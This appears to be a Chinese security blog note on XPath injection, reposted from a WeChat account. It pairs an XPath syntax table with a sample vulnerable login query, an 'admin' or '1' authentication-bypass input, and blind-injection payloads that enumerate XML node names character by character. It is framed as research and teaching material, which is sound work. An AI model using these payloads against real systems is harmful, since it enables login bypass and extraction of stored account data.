/ | 从根节点选取 | ***** | 匹配任何元素节点 |
---|---|---|---|
// | 全局匹配 | @* | 匹配任何属性节点 |
. | 选取当前节点 | | | 选取若干个路径 |
.. | 选取当前节点的父节点 | node() | 匹配任何一个节点 |
@ | 选取属性 | /*[1] | 选取匹配到的第一个节点 |
//book | 选取所有 book 子元素 | //@lang | 选取名为 lang 的所有属性 |
//* | 选取文档中的所有元素 | //title[@*] | 选取所有带有属性的 title 元素 |
/root/users/user[username/text()='' and password/text()=‘’]
u=admin' or '1&p=xxx
1.判断根节点数量:count(/)=1
2.获取根节点名称长度:string-length(name(/*[1]))=4
3.逐个字符获取根节点名称:substring(name(/*[1]),1,1)='r'substring(name(/*[1]),2,1)='o'substring(name(/*[1]),3,1)='o'substring(name(/*[1]),4,1)='t'
4.判断下一级节点数量count(/root/*)…
查询根节点下的节点个数
'or count(/)=1 or ''=' ###根节点数量为1
'or count(/*)=1 or ''=' ##根节点下只有一个子节点
查询根节点下的节点长度
'or string-length(name(/*[1]))=8 or ''='
查询根节点下的节点名称
'or substring(name(/*[1]), 1, 1)='a' or ''='
'or substring(name(/*[1]), 2, 1)='c' or ''='
'or substring(name(/*[1]), 8, 1)='s' or ''='
查询accounts节点下的节点
'or count(/accounts)=1 or ''=' /accounts节点数量为1
'or count(/accounts/user/*)>0 or ''=' /accounts下有两个节点
'or string-length(name(/accounts/*[1]))=4 or ''=' 第一个子节点长度为4
'or substring(name(/accounts/*[1]), 1, 1)='u' or ''=' 第一个子节点名称为user
查询user节点下的节点
'or count(/accounts/user)=2 or ''=' user节点有两个
'or substring(name(/accounts/user[position()=1]/*[1]), 1, 1)='u' or ''='
'or substring(name(/accounts/user[position()=1]/*[1]), 1)='username' or ''='
原文始发于微信公众号(山石网科安全技术研究院):Xpath注入—简易demo测试小记
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论